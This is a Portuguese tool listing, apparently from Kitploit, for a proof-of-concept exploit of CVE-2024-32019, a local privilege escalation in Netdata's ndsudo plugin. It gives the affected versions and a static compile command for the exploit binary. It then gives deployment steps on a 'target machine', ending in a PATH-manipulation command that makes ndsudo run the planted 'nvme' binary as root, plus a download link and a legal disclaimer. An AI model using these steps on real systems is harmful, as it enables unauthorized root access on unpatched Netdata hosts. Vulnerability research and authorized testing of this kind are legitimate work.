CVE-2024-32019-POC — Exploit de prova de conceito para CVE-2024-32019 demonstrando escalada de privilégio local via caminho de pesquisa não confiável no plugin ndsudo do Netdata. Inclui instruções de compilação e passos de implantação. | Kitploit

⚠️ CVE-2024-32019 - PoC

📌 Versões Afetadas

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🛠️ Prova de Conceito

CVE-2024-32019 — escalada de privilégio local do ndsudo via caminho de pesquisa não confiável.

🔧 Compilar o Exploit

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 Implantar na Máquina Alvo

Transfira o binário compilado para a máquina vulnerável.
Torne-o executável:
```
chmod +x nvme
```
Explore o binário vulnerável via manipulação de PATH (use o mesmo caminho onde você carregou seu binário):
```
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
```

🔍 Referência

Aviso de Segurança do Netdata - GHSA-pmhq-4cxq-wj93

⚖️ Aviso Legal e Termos

Este código de Prova de Conceito (PoC) é fornecido apenas para fins educacionais e de teste de penetração autorizados.

Nenhuma permissão é concedida para modificar, redistribuir ou usar este código para quaisquer outros fins.
O uso ou modificação não autorizada pode ser ilegal e antiético.
Os autores não assumem responsabilidade por qualquer uso indevido ou danos.

Baixar ferramenta